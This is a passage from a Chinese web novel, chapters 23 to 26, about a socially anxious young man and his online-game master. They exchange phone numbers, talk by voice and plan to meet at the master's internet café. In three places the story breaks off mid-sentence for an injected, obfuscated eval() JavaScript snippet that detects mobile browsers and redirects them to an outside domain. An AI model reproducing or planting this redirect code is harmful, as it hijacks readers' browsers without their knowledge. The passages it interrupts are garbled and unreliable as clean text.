这份补偿给得悄无声息。屏幕里,四对妖灵难舍难分交缠着,明明刚见面,却好像恩爱千年。两只重明鸟伏卧云间,喝着琼浆玉液。 重明,驱邪避凶,是祥瑞。他喜欢这份道歉。既然是“沈停”的锅,就不能怪川云了。 时和在心里替川云找了个补,满意地在重明鸟的鸟尾上逗弄了一下,那根下降的温度计再次填满。他回了三朵玫瑰花。 玫瑰花回过去,聊天框蹦出一串数字。 [川云:下次我不在,可以打我电话。] 重明鸟响起两声尖锐啼鸣。 队伍频道,单身魔性的笑声依旧没停。他一下问“沈停”还活着没,一下拱火川云往死里揍,生命在上,不能大气。没过两分钟,“沈停”账号下线又上线,开麦吼了一声“我可去你的吧”,两人又互怼起来。 队伍四个人,好像隔了两个世界。 时和从没想过川云会给他电话号码,一通慌乱,惹得雄鸟进入了备战状态。屏幕火光连天,鼠标好似烧得烫手,他猛地松开,又撞倒了桌上两只皮诺曹。皮诺曹躺着笑着,嘴边两抹弯钩异常魔性,像在看戏。 交换号码,在他看来是一件私密又有仪式感的事。11位数字就像身份密码,一旦有了密码,就像开启了一层暗门,意味着“你已经进入了我的现实生活”。 可他进入了吗?他们之间不是“病患”和“药”的关系吗?时和想不明白,思绪滞缓地敲着“不用”,敲完却迟迟没有发出去。 11位数的号码像是一个魔盒,他成为了被俘获的潘多拉,开始失控。新建,保存,修改备注。最终,这串号码出现在了通讯录里,以B开头,紧随濯清之后。 交换号码的意义体现在“交换”上,鬼使神差地,时和按下号码拨了出去。 ** “老板,有你电话。” 网吧前台,俞秋本在控诉林朔野早上“占山为王”的行为。话题正说到“他早上还吓我说您以后都不来了”,余光瞥见躲在点钞机暗处的手机明明灭灭,又掐断了话头。 “他嘴里的话只能信两分。”宴云川拆着自家弟弟的台,抬手想捞手机。 俞秋见状,拿起手机递过去,嘴里振振有词:“两分?我看只能信两个字!”她看见备注“姑姑”,伸出去的手下意识缩了回来。 “怎么了?” “……没。” 印象中,每次“姑姑”来电,宴云川的心情都会受到影响。也不只是“姑姑”,好像除了外卖和快递电话,剩下的七大姑八大姨来电,宴云川都没有好心情。 老板没心情,员工心情也会跟着忐忑。俞秋小心翼翼用唇语提醒着:“林朔野的妈妈。”好像怕电话那头的人听见似的。 果然,读出提醒,宴云川眼尾的促狭立马消失的无影无踪。 “给我吧。” “老板……” “总得接,没事。” 一来一回,电话里的人许是没了耐心。电话挂断,俞秋暗暗松了一口气,刚松懈,电话又亮起来。还是“姑姑”。她愤懑递过手机。 宴云川起身,接过手机往外走。还没走到门口,电话里的人已经滔滔不绝说了一大段,声音跟吃了炮仗似的疯狂往外炸:“小川,你明明知道阿朔要期末了怎么能拉着他去网吧呢?还让他通宵看店!通宵啊!通宵对身体多大伤害难道还用我跟你科普吗!难道你要阿朔以后像你一样天天靠吃药过日子吗!” 网吧旁边有一家便利店,宴云川走进去,买了包烟。一路往街口走。 电话里的人还在继续:“那网吧也是!当初我跟你爸妈都说不要接不要接!那家人就是要吸血!你非不听!现在接了自己又力不从心!到头来还要把阿朔拉下水!” 临近六月,榕城开始燥热。路边偶尔可以看见儿童节的宣传,街口有人顶着烈日在发传单。宴云川顺手接了一张,是对面商城的六一折扣。他把传单折好放口袋里,又敲出一根烟咬在嘴边,没抽。 榕城还是太多人了。 林朔野通宵这事断不能是他自曝家门,只能是被熟人看见,捅了出去。也许是同学,也许是门口透气遇见熟人,又也许是游戏里另一个在通宵的“邻居”。 日头真晒,晒的人犯困。电话那边的人好像也累了,深深叹了一口气:“小川,算姑姑求你,你要烂在网吧里我们已经管不着了,但是阿朔不行,你明白吗?” 烟嘴没受住力,变了形。 宴云川抬头,眯着眼睛朝远处看去。烂在网吧太久,眼睛倒是越来越受不住光了。他失笑一下往回走,拿下咬断的烟,语气淡淡地回着:“阿朔不会成为我,姑姑放心。” “我能放心吗?他从小到大只听你的!你要学游戏开发,他二话不说就报了游戏开发,你玩什么游戏,他立马跟着玩什么游戏!明明我跟他爸才是生他养他的那一个,到头来反而成了挂名的……” 电话那头已经从指控变成了埋怨,破有把家庭矛盾都扣在他头上的趋势。宴云川调着音量,头疼地摘下一边耳机。正准备按掉屏幕,突然,界面上方跳出新的来电窗口。 一个榕城的陌生号码。 ** 拨出去的电话响了两声,时和立马挂断,猛地起身灌了杯水。说是灌不太妥当,更像是一股脑地倒,水渍沿着嘴角一路滑向喉结,又沾湿衣襟,惹得他连连咳嗽。 疯了吗!竟然打电话给川云!交换号码直接打字就好了!打的哪门子电话! 他咳得厉害,视线都被生理性泪水模糊了,偏偏单身要在这时候点他:“见儿,还开吗?你是不是快到时间了?” 对,是,不开了!时和着急地在键盘上找字,可每一个按键都带着重影。 单身又问:“人呢?还有川老板呢?怎么这师徒两消失还赶一块儿的?” 没有一块!时和心里喊着。 单身听不见,自顾自地回答:“这两人开小房间私会去了?” 没有小房间!没有私会! 时和要被单身的用词弄崩溃了,他越找越急,整个人像溺了水一般呼吸困难。只想回到两分钟前杀了那个冲动的自己。 窒息之际,“沈停”终于出现了:“我哥他买早餐去了,宝贝儿不在的话就不刷了吧!” 所有的情绪在这一刻戛然而止。 时和洇着水汽眨眼,又在脑子里重新过了一遍“沈停”的话。川云出去了?那他带手机了吗?看见自己电话了吗?应该没看见吧…… 一个陌生号吗,一般会被当做骚扰电话。骚扰电话是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546529|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会得到关注的。这么想着,他呼吸慢慢平复下来。 提到“早餐”,单身又开始说回“安眠药”的话题:“川儿,你哥以往早餐可都是六七点吃的,这会也算托了你的福,吃上了十点的早餐。”他那魔性的笑声再次冒出来,“你说你怎么想的,居然去给他下安眠药?” “神特么安眠药!”“沈停”大声反驳,“进口褪黑素!褪黑素懂不懂!我费老大劲找人代购的!” “褪黑素不就是安眠药吗?” “文盲!他们的药理性质都不一样!” 单身乐了:“哪不一样了!不都是让你哥睡死过去吗!”两人说着又要怼起来。 想必是刚经历神经紧绷到放松的大起大落,时和现在有点听不住声。喇叭的吵闹宛若直接在神经上蹦迪,让人异常心躁。他换着气,看了眼时间,想着反正川云不在,交代了一句下午上线便关了机。 没了游戏和吵闹声,书房安静下来。环境一旦安静,那些有的没的想法就开始咕噜往外冒。 他竟然有了川云的电话……那他跟川云现在算是朋友了吗?都有电话了,应该算的。时和拿起手机,又点开通讯录页面,眼尾带着愉悦。 这份愉悦刚上来,他突然想到自己并没有交换电话,只是单方面拥有了川云的号码。眼尾的愉悦又被茫然压了下去。 要交换电话吗? 时和靠在椅子上看向窗外,看见远处动车呼啸而过,数着秒,动车在13秒尾音消失的时候彻底离开。没了动车,他又看向临街的车流出神。 墙上秒针滴答转得飞快,好像要把三秒合并成一秒来过。正数着新的秒针,倏地,手表闹钟响了起来。原来已经十点了。 头一回,数数字都不能帮他捋清思绪。 那份烦闷感又上来了。时和抓了抓头发,起身准备往外走。手机刚拿上,一道铃声突兀响起。他看向来电显示,直直愣在了原地。 来电显示“B川云”,IP属地“榕城”。 川云是榕城人?!可濯清不是说“沈停”是苍城——不对!濯清只说“沈停”是苍城人,又没说他现在在苍城! 铃声执着地一直响着,没有挂断的意思。时和握紧手机,指尖仿佛要扣进屏幕里。像是为了验证心理的秘密一般,他屏息划开了接听。 电话接通,秘密解开。 川云:“你好,请问你是……” 明明没有犯病,时和却感觉心跳前所未有的急促。红晕从耳垂蔓延到全身,烫熟了理智。他没说话,川云也沉默起来。 两人就这么无声交流了一会,电话那头忽然笑了一声。轻飘飘的,抓得耳捶发痒。 时和捏了捏耳垂,猝然听见川云问:“你是己见,对吗?”耳垂一不小心,留下了指甲印记。 “……” “原来是你。” “……” “我还以为……” 川云话说到一半突然停了,等了半分钟也没有继续的意思。这种吊胃口的聊天方式属实折磨,但也能达到效果。时和坐在椅子上,险些把鼠标垫扣出毛边。 他没忍住,瓮瓮问了句:“以为什么?” 电话那头笑声更清晰了些。 川云“嗯”了一声:“以为你是苍城人。” 24. Chapter·印象 听筒里传来两道电车鸣笛的声音,杂糅在几句方言叫卖和交谈中。时和憋着声,心里补了一句:为什么?他好像没有暴露IP的行为。 方言交谈声越来越嘈杂。川云突然问:“想知道原因?” 这人是在他脑子里装窃听了吗?时和咬了咬嘴唇没说话,手机快把耳朵压扁了。 电话那头的人也没催,顺道点起了餐:“来三份猪脚饭,两份微辣,一份特辣,谢谢老板。”说完也不知道走去了哪,嘈杂的方言安静下来。 没了环境音,川云的气息更加清晰。他又问了一遍:“不想知道吗?” 时和捕捉到了尾调一纵即逝的兴味。明知故问!他张张嘴,那声“想”卡在喉咙,像吃了团棉花。他的语言系统好像恢复出厂了。 老板娘在电话里用方言喊了一嗓子:“帅哥,猪脚要肥点还是瘦点啊!” 川云用方言回道:“两份瘦一份肥!” 榕城的方言大多是普通话的变调,尾音勾着气音,不同的人可以说出不同的味道。说得快些像骂人,说得慢了又很呆板。可川云说方言好似在唱一首楚调。 时和把手机拿开了些,让耳朵喘喘气。手机离开耳朵的瞬时,微风带着川云的声音一块吹来:“我们是不是见过?” “……” 嘭一下,他挂了电话。 ** 耳机里的呼吸音突然消失,宴云川拿出手机,看到电话挂断,鼻息轻笑一声。给手机号码只是为了预防今天这样的突发状况,没想到…… 他从角落走出来,走到出餐口就近的座位坐下,点开己见微信发了条信息,又看见林朔野的委托:[哥!老沈来了!他还没吃,顺道买一份呗!] “猪脚饭吃吗?”宴云川按着屏幕问。 没半分钟,林朔野甩了条语音:“随便买,他屎都吃!”语音结尾依稀听见一声滚。 他起身到收银台,又加了一份餐。 等带着四份餐回到网吧的时候,己见的微信依旧安安静静。发出的那句一点也不真诚的“也许我看错了”,被自家小徒弟无视了个彻底。 “老板!”俞秋给包厢里新来的猴送了瓶东方树叶,出来就看见宴云川一手拿饭一手看着手机。她快步走上去接过左手的餐,又偷偷打量着宴云川的表情。好像挺……愉快? 今天“姑姑”没发功吗? 正打量着,宴云川抬头:“第二份是你的。” “啊——哦!” “老板,”俞秋拿出自己的那份,又把剩下三份依次垒好,“沈停说暑假想来咱这打零工。” “他不回家?” “应该跟家里人吵架了,您是没看见今天来的时候,那火气!都可以把网吧烧了!”俞秋说着给袋子扎了个蝴蝶结。 收好蝴蝶结,宴云川望向包厢的方向。包厢毛玻璃隐约能看见一双手蹦得比天花板还高,又重重的落下。看来是气得不轻。 “想来就来吧。”他提溜着结口往包厢走。 收留了一个林朔野,再多一个沈停也无所谓。带一个是带,带两个也是一样的带。只是网吧零工弄坏键盘也得赔钱。 走到包厢门口,看见沈停正在对键盘散发怨气。宴云川刚准备推门,微信突然叮了一下。他停下动作,掏出手机,发现失踪人口回归。 [己见:看错了。] [己见:没见过。] 心理书上说,在欺骗的情况下,说谎者可能会通过重复来试图让谎言显得更真实、更可信。宴云川挑眉,倒没想到这位像系统程序一样的徒弟会说谎,有些意外,又顺着话回:[抱歉,我有脸盲症。] 微信又没了声。想来是去消化他到底有没有病了。宴云川嘴角轻轻勾了一下,握着手机用手背推门进去。 网吧包厢隔音做的很好,关上门只能看见无声电影,但凡有了一条缝,那便是聋子突然被治好,整一个战乱现场。键盘声鼠标声叫骂声声声入耳。 “沈停你他妈能不能看人切!切奶啊!你特——你逮着肉切什么!别跑啊你!卧槽你卖我!你是对面派来的狗吧!” “他妈你都看见我走了不会跟着?!” “我他妈被控住了走你大爷!” “你他——” 两人还想继续上演屠夫版琼瑶,就听见门口轻飘飘的一句:“键盘弄坏八百。”唾沫星子一下没收住,散到了鼠标上。 “哥!你总算回来了!” 林朔野放下键盘一副被吸了精血的模样逃离椅子,又殷勤地接过食品袋,边拆袋子边诉苦:“再不回来我PK场段位都要被老沈掉完了!他神经病!进场根本不听指挥一个劲的乱砍人!砍也就算了,还不朝着一个人砍!一下砍这个一下砍那个!砍人掉的血全被对面幽篁奶了!再打两局我两非得绝——唔!”一截百奇堵了剩下一个字。 沈停收回手,嫌弃地擦了两道:“闭你的嘴,自己技术菜不能四打五还赖我头上。” “泥忒嘛有杜!(你他妈有毒)” “毒死你丫的!” “我日你大爷!” “去,去日,去得早还能见到一捧灰。” … 有了沈停的林朔野,聒噪加倍。宴云川揉着眉头走到最里面的椅子坐下。想到俞秋说的零工,他两腿一搭,叩着桌沿打断两个小学鸡嘴炮,抬眸看着沈停:“说说吧,都要来打工了,我做个背调。” 林朔野:“……” 沈停:“……” 许是背调这个词对这两少爷过于新鲜,两个小学鸡变成了呆若木鸡。 接下来的三分钟,沈停人神共愤地描述了他妈怎么把他卖了,怎么让濯清打电话给他,又怎么答应帮濯清带孩子的丧权辱国的过程。 宴云川捋着重点:“所以,伯母同意你暑假不回家在外边租房子,前提是你每周得带着你阿姨家的儿子玩三天?” “对!” “我记得你之前说你阿姨家的孩子上大学。”言外之意是“为什么上大学要你带着玩”。 沈停听明白了,嗤笑一声:“那人就是一个妥妥的妈宝男!我阿姨说东他不往西!之前跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546530|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他见过几面,每一次都贴在他妈——就我阿姨身边。我阿姨也是,那么大的人了宝贝的跟个小孩一样,出个门都怕他儿子被拐了!那不得找人带着吗!” 印象中沈停每次提到这位“妈宝”都是这副表情,谈不上恶心,也说不上平静,更像是一种“恨铁不成钢”。大概觉得这位“妈宝”丢了大学生的脸。 别人家的家庭关系宴云川不好评价,只是问道:“你打算怎么带?” 沈停耸耸肩:“带来网吧呗,反正他也在玩幻世录,给他开台机,网费从我工资扣……”说到一半,声音停下来,“啧,想起来我还没他微信。”他转着椅子看向林朔野,“推我一下。” 这一转,把林朔野转懵了:“我有他微信?” 沈停也懵了:“我之前让他加你游戏了,一个新手幽篁,你没加微信?” 两人你看看我我看看你。林朔野囫囵咽下嘴里的饭,仿佛听见了什么笑话:“每天加我的新手幽篁不说几十也有十几,我怎么分得清谁是谁!你没他ID?” 沈停:“……”他想撞墙。 完蛋了。他要怎么跟濯清解释他既没有她儿子游戏好友也没有她儿子微信这件事? 到底是清澈懵懂的大学生,饶是平时再怎么装大人,真把大人的事办砸了还是得怂。见两个大学生升级成了呆若木鸡2.0版本,宴云川觉得好笑,随口说:“你表叔不是你阿姨的助理吗,雇主儿子的微信他应该有。” 这一提醒如救水火。 沈停“卧槽”一声:“学长!不愧是你!” 卧槽刚出,桌上的手机震了一下。三双眼睛落在桌面上。宴云川拿起手机,看见信息,嘴边将笑不笑的声音一下溢了出来。 [己见:对不起。] ** 窗外车水马龙,喇叭声混着楼下孩童的声音一块飘进来。时和额头倚在玻璃上,正做着自己的阅读理解。 对不起什么呢?对不起戳了他的病,还是对不起自己骗了人?他看着信息,越看越觉得这声道歉实在像“掩耳盗铃”,懊恼地松开腿,又盘上,按住手机想要撤回。 指尖落在撤回上犹豫不定,时和思考着撤回过后应该怎么解释,怎么想都想不出合理的理由,又闷闷地把手机放下。为什么今天没发烧呢?发烧了就有“妖怪”替他撒谎了。“妖怪”更熟练…… 窗台摊着一本没读完的《酒店管理综合实训指导》,书面缠绕着白色耳机线。按照计划表,现在是学习时间,可他尝试了半小时,文字都跟蝌蚪找妈妈似的进不去脑袋。 濯清说过,人与人见面的第一印象非常重要。他给川云的第一印象肯定谈不上好,现在第二印象估计也要夭折了……一个又踩了自己又撒谎的徒弟。 时和代入了一下,打了个激灵。他慌乱点开手机想要发点什么给自己找补,刚打一个“我”,聊天框跳出消息。 [川云:下午帮战别紧张。] 不是质问“对不起”,也没有继续讨论“见过”,好像话题从没被提过,两人一直都在聊帮战一样自然。 25. Chapter·见面 自然地说了“谢谢”,又自然地聊天,自然地打乱了计划表的时间,最后自然地各自忙碌。接下来的时间,时和总有一种笼在磨砂罩里看天空的不真实感。 心理医生曾经对他说:“人与人的社交本质上是持续动态的互动过程,健康的关系不在于追求100%的舒适,而在于双方能在60%的适配度中实现共同成长。” 他不知道60%的适配度到底怎么衡量,可是他第一次遇见川云这样的人,总能让话题游戈在微妙的舒适带。进一步突兀,退一步生疏。 不管怎样,第一印象保住了。 时和蜷着膝盖笑了一下。 许是心情好,又或者川云的安慰起了作用。到了下午帮战准备期,他非但没有“集体活动”前的紧张,还破天荒地主动在队伍里冒了个泡。 有人问:“咱队指挥变成川老板了?” 川云不在,他帮忙回了个“嗯”。 那人顿了一下,拖出好几个波浪号的“噢”,惹得队伍剩下几个人频频发笑。 幻世录的帮战玩法核心跟MOBA游戏一样,三路拆塔,直捣“水晶”。因为是大型多人玩法,为了方便指挥,所有人用的都是帮派麦。 队伍的打趣其他人也能听见。 单身隔着四个队伍调侃:“你们川老板担心徒弟在其他队伍不适应指挥节奏,专门跟我申请换的。他还说‘他性子慢,容易被你们这些说话都喷麦的吓着’。哟喂——我牙酸!” 这下那几声“噢”浪的更欢了。 时和不知道换指挥这件事后面还有这么多“内幕”。他愣愣看着屏幕,耳垂开始滴血,总觉得单身在夸大其词。川云怎么会说这些——刚这么想,就听见柚子说:“你怎么还漏了一句呢!” 柚子轻咳两声,模仿川云的语气,“徒弟就这么一个,总得照顾游戏体验。” 现在耳垂不滴血了,直接全熟了。 喇叭里打趣声此起彼伏。大家逮着川云不在的机会一顿打趣,颇有把以前压抑的矜持都收回去的架势,一点也不怕吓跑新人。 进帮派也有几天了,时和已经慢慢习惯这些人的兴奋和不正经。虽说不会恐慌,但也听得耳热。他抬手搭了下发烫的颈椎,一下喝水一下拨动日历,又推倒了桌上的匹诺曹,最后拧着喇叭璇儿调整音量,宛若多动症发作。 喇叭声音忽小忽大,一会听见有人说:“跟着徒弟有师父这句话的含金量还在上升!”又听见半句没说完的,“那得看是谁的徒弟谁的师父!如果召唤出你……” 在这样的“人工电音”之下,一个陌生的声音飘渺地喊了句:“学长!再不过来你徒弟要被吓跑了啊!”声音从没在帮派听过,熟络的语气又不像新人。 学长?是川云吗?这人也在网吧? 时和松开喇叭璇儿,点开帮派麦在线列表,想看看是谁的话筒在亮。点进去,一排喇叭跟打DJ似的,根本分不清刚才说话的是谁。 他把音量调到最高,隐约听见推门声。打着精神往下听,听见川云声音由远到近:“他不会吓跑的。”脖颈间刚刚褪下的颜色又爬了上来。 消息列表弹出未读提醒,是川云。 [川云:他们打帮战容易收不住亢奋。] [川云:因为你好相处。] [川云:他们喜欢你。] 三条短句,层层递进,最后读出一句:只是喜欢你,跟你是我徒弟没有关系。有点醉人。 ** 帮战是怎么开始又是怎么结束的,时和好像断片了,残留不多的记忆都是川云不疾不徐的指挥声。他仿佛被驯化的木偶,所有行动都被操控。 躺在床上,时和任由顶灯暖光打进眼睛里。枕边的手机还没熄灭,屏幕停留在收藏页面。 收藏原本是一些公众号的文章、好看的图片,还有吃药的备注提醒。现在这些文章提醒都变成了尾气,压在了一排排聊天截图的末尾。第一个截图就是“他们喜欢你”。 喜欢他?怎么会呢?多久以前的事了? 很久以前是有很多人喜欢他的,久到他都快忘记是初几了。只记得到了高中,濯清给他报了很多辅导班请了很多家教,学校的课程开始请假。 他慢慢认不出班上的同学、记不住同桌的名字。就像患了脸盲症。见谁都像,见谁都不敢打招呼,生怕脱口而出的音节变成认错人的利刃,只能靠声音、饰品、动作艰难拼凑出身份。叫错了几次,就没人喜欢他了。 对了,川云也有脸盲症。 既然这样,下次见面得准备一样特别的东西才行…… 正想着下次见面该准备什么,枕边的手机猝然震动,打碎了剩下的幻想。时和猛地清醒,意识到刚才大胆的想法一阵脸热。 屏幕悬浮窗挂着一条微信提醒。 [沈停:宝贝儿,我为我曾经的无知道歉!] 点进去,聊天框只有这一句话,没头没尾。他捏了捏耳垂,发了一个表情包过去,返回列表看见一个新增的好友申请。 【我:请求添加你为好友。】 没有介绍,没有旁白,简单无比。 申请人是一串奇怪的符号,像藏语。时和复制符号查了一下,果然是藏语:塔勇。 头像眼熟,好像在帮派群看见过。他又拿着符号去群里搜了搜,跳出来一个备注名叫“和被窝天长地久”的人。这会不光头像眼熟,ID也耳熟。单身和“沈停”提到过好几次,今天帮战也在。 在网吧叫“学长”的人会不会也是他? 时和点了添加,鬼使神差地打了个招呼。 [时和:微笑.jpg] 招呼打出去,对方秒回:[。。。] [和被窝天长地久:我跟你有仇?] 难得打一次招呼却得到这样的回复,时和整个人征愣在原地。手指像僵化一般落在屏幕,久违的恐慌感又浮现出来,让他想逃。可对方的打字手速比他逃跑的速度更快。 [啧,麻烦。] [没想到你是学长的徒弟。] [明天来网吧碰个面?] [算了,我去接你,省得阿姨把我电话打爆。榕江花园是吗?] 微信消息一条条往上冒,手速跟“沈停”有得一拼。可是这人是谁?他怎么知道自己住哪?阿姨又是谁?时和感觉脑子像是被水泥堵住了,完全想不起自己在哪认识这样的怪人。 对方似乎猜到了他的疑惑,又连发三句。 [你不会不知道我是谁吧?] [别搞!] [廖明珮是我妈!] 砰一下,手机摔到了被窝里,连着语音通话的邀请一同弹了出去。 ** 星络网吧,沈停听着语音的等待铃声一阵不耐。“靠!这个妈宝——”他刚想骂,林朔野踹了他一下椅子,“这人——”林朔野又踹了一下。沈停受不了了,鼠标一拍,咆哮道:“他不会接电话也不会打字吗!”这声咆哮震耳欲聋。 屏幕显示语音接通,又被秒挂。 沈停:“……” 这人一定是他妈派来克他的。 “再打一次?”林朔野建议着。 “就一次!” 语音又拨过去,等了三秒。沈停刚想“啧”,耳机响起细细一声:“喂?” 倒是一副好嗓子,让人说不出重话。 沈停把嘴边那句语气词咽下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546531|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看门见山问:“知道我是谁吗?” “……沈停?” “你真把我忘了啊?” 电话那头陷入沉默。 林朔野难得看见沈停吃瘪,在旁边笑得幸灾乐祸。他也是五分钟前才消化己见就是沈停口中经常提到的“妈宝”这件事,已经经历了目瞪口呆的流程,刚进入看戏的阶段。 “开扩音!”他用嘴唇说着。 说话间,包厢门被推开。宴云川还不知道发生了什么事,问了句:“在做什么?”只听喇叭响起“哐当”两声,又发出细微的吃痛,声音一闪而过。 “打电话?那我等会——” 他刚想说“我等会再进来”,林朔野拉住他,用蹩脚的唇语重复:“己见!是己见!” 宴云川准备折返的脚步停下来,诧异看向屏幕。屏幕语音放大了一副耳机的头像,同时,喇叭里传出熟悉的语调:“对、对不起。” 有了宴云川在场,沈停再怎么急性子也不好当着人师父的面发作。接下来的交流语气堪称教科书式和蔼,只是在提到网吧碰面的时候出现了一点儿小插曲:一提到接人,对面就沉默。 连着三次,只要沈停问到:“你大概几点起床?”对面都跟被毒哑了一样。 包厢响起重重的吸气声,仿佛能把肺管子撑爆。林朔野瞥见沈停的表情,知道此人耐心已经到了临界点,二话不说把人推了出去。 包厢门还没合上,就听见一声“草”!拖着一路的回音。从玻璃看出去,沈停和林朔野已经走出了收银台。想来是抽烟去了。 宴云川看着屏幕,犹豫着坐在椅子上。 他以前一直不觉得幻世录有多小,直到随便进了一个服务器遇见凌岳,无意收了个徒弟认识沈停。总会有这样那样的人打破网线,总会有这样那样的事开始失衡。就好像一切都在轮回一样可怕。 喇叭里还响着小心翼翼的呼吸声,仿佛很想挂断,又不敢挂断。沈停没有回来的意思,倒是中途林朔野进来了一趟,打了两下不知名的手语又跑了出去。 听着逐渐紊乱的呼吸声,宴云川无声叹着气,切了喇叭,拿起耳机。 “能听见吗?”他调着音量问。 耳机的音效比喇叭更好,紊乱的呼吸愈发清晰可辨,还有那句细弱蚊蝇的:“能。” 语音到底容易听出情绪,慢热还是紧张一下就能分辨。宴云川放慢了语调:“想来网吧玩吗?” 对面没说话。 他又说:“给你留一个单人包厢,很安静。嗯……网吧禁烟,不会闷,不喜欢随时能离开,我让沈停——我送你回家。” 耳机里的呼吸声愈发不成曲调,杂糅在慌乱的脚步中。脚步声越来越远,消失了两分钟再次出现,带着一声从喉咙溢出的:“自己。” 宴云川指尖点了下桌面。 “自己回家吗?” “嗯……” “那需要沈停接你吗?” “不……” “我给你叫辆车,可以吗?” “……” “网吧门面比较小,第一次来不好找。” “找得到……” 耳机里的声音越来越小,像是憋着呼吸在说话。宴云川想到那天在网吧对面遇见的背影,这句“找得到”也变得有迹可循。他松开手往后仰,话题一转:“我叫宴云川,宴饮的宴,云水山川的云川。尹川的名字是林朔野,双木林,朔风狂野的朔野。这样明天见面好认。” 耳机沉默了片刻,似乎没想到话题跳跃的这么突然。宴云川听着耳机里咕噜的喝水声失笑。 而后,耳机就说:“时和。” “时间的时,求和的和。” 26. Chapter·抓人 “时、和。” 电话那头的人一字一顿地念着名字,又停下,留着有节奏的敲击声。时和心脏跟着“叩叩”颤了两下,目光不知道往哪放,好像川云在他对面一样。 不对,现在知道名字了。宴云川。 时和悄悄用指尖在没有雾气的玻璃上描着名字。原来叫游戏ID和叫名字的区别这么大。以往宴云川叫他ID的时候也是这样的语气,似乎很平淡,又很郑重,可总感觉差点什么。他现在知道了,差了一份真实感。游戏ID就像两个摆在橱窗里的娃娃始终隔着光的折射,看不真切。 玻璃上的名字已经成型。落笔成川之际,电话那头同步开口:“很——”刚起个头,倏地,电话铃声激昂地把后面的话截断。那道“川”的尾巴从半路径直而下,“吱呀”刺耳。 来电显示濯清。时和慌乱擦着玻璃,又收拾窗台。一通操作,他猛地反应过来:奇怪,自己在毁尸灭迹什么?川云又不在这里。 耳机响起一声轻呵。时和感觉自己蒸起来了。飘窗一隅之地,铃声与耳机的电流声混杂。他盯着濯清备注,又看向右上角绿色的“通话中”提醒,仿佛在岔路口迷了路,不知道该去哪个方向。 惶惑之际,宴云川问:“有电话?” 眼前的岔路口突然合并成了一条康庄大道。 时和松着气:“是妈妈。” 耳机那头响起细碎地鼠标声。宴云川说:“那我去忙会。我们……”他迟缓了半秒,无故加长了呼吸,补充道,“我们明天见。” 这声“明天见”听着格外怪异,跟他第一次叫自己ID一般变扭。时和错愕了一下,又说:“好。” 好奇怪,事情怎么发展到见面了? 挂掉语音,时和浑浑噩噩。浑浑噩噩地接通电话,浑浑噩噩地回答刚才在跟谁语音,又浑浑噩噩地听见濯清语重心长地说:“宝贝,妈妈跟你说过多少次了?网上交友要慎之又慎。你连他家在哪做什么多大都不知道就交换了号码,这太危险了!谁知道宴云川是他真名还是框了一个名字骗你?” “妈,他是沈停学长,不是骗子。” “沈停的学长?” 搬出沈停,濯清情绪稍稍平和:“榕大的?” 时和想了想:“嗯。” 沈停既然叫宴云川学长,应该是一所学校。 听见宴云川是榕城大学的,又认识沈停,濯清终于解除了“不法分子”的警报,问道:“大几了?” “应该毕业了。” “毕业了?”她又警觉起来。 “沈停跟你说的?” “……” 时和心虚垂着眼,不知道怎么说“是他猜的”。 片刻的迟疑成了否认,濯清声音立马不稳了:“宝贝,沈停爱交朋友,学长在他那说不定只是一个称呼!你现在把宴云川的电话号码报给我,我做个存档,哪天真出什么事还能有个证据。”电话那头响起簌簌声,像是纸张翻动,“我还要问问沈停什么情况,太不靠谱了!我让他带你玩不是让他带你乱交朋友。他带你去网吧我就说不要不要,要不是你廖阿姨跟我再三保证出不了事,我根本不会答应!” 濯清既严肃又急切,仿佛他通讯录里保存了一个烈性病毒,说慢一秒都得毒发。时和插了三次话插不上,硬生生等到濯清说完。 等濯清停下来,他急急为宴云川和沈停辩解:“妈,川云、宴云川对我很好,在游戏里也很照顾我。因为他我才能那么快适应游戏节奏,他肯定是好人!而且他也不是沈停介——” “隔着网线谁都能随便对人好!” 濯清用不容置疑的语气截断他的话。时和还想把话题续上,电话又开始一顿连珠炮:“儿子,你还小,经历少,见的人也少,社会险恶都没摸到皮毛。好人不会写在脸上,大多数人都不像你想的那么单纯!妈妈这是在保护你,要听妈妈的,懂吗?” “妈——” “电话多少?” 最终,他“出卖”了宴云川。报出那串已经熟背的号码那一瞬,他感觉自己成了罪犯,明天的见面都成了一种审讯。然后一夜惊恐。 与宴云川约定好的时间在早上。时和从凌晨开始胸闷心悸,浑身颤抖。他仓惶跌下床,开了窗,用鼻尖掠夺着窗外空气,仿佛下一秒就要猝死。 很久没出现这么严重的焦虑躯体化症状了,严重到腹式呼吸不起任何作用,反而因为“想快点缓解却无能”加重了不适。忍受不了,时和捂着胸口下楼,顾不上楼道间的摄像头,冲到立柜拿出阻滞剂水也没喝硬生生吞了下去。 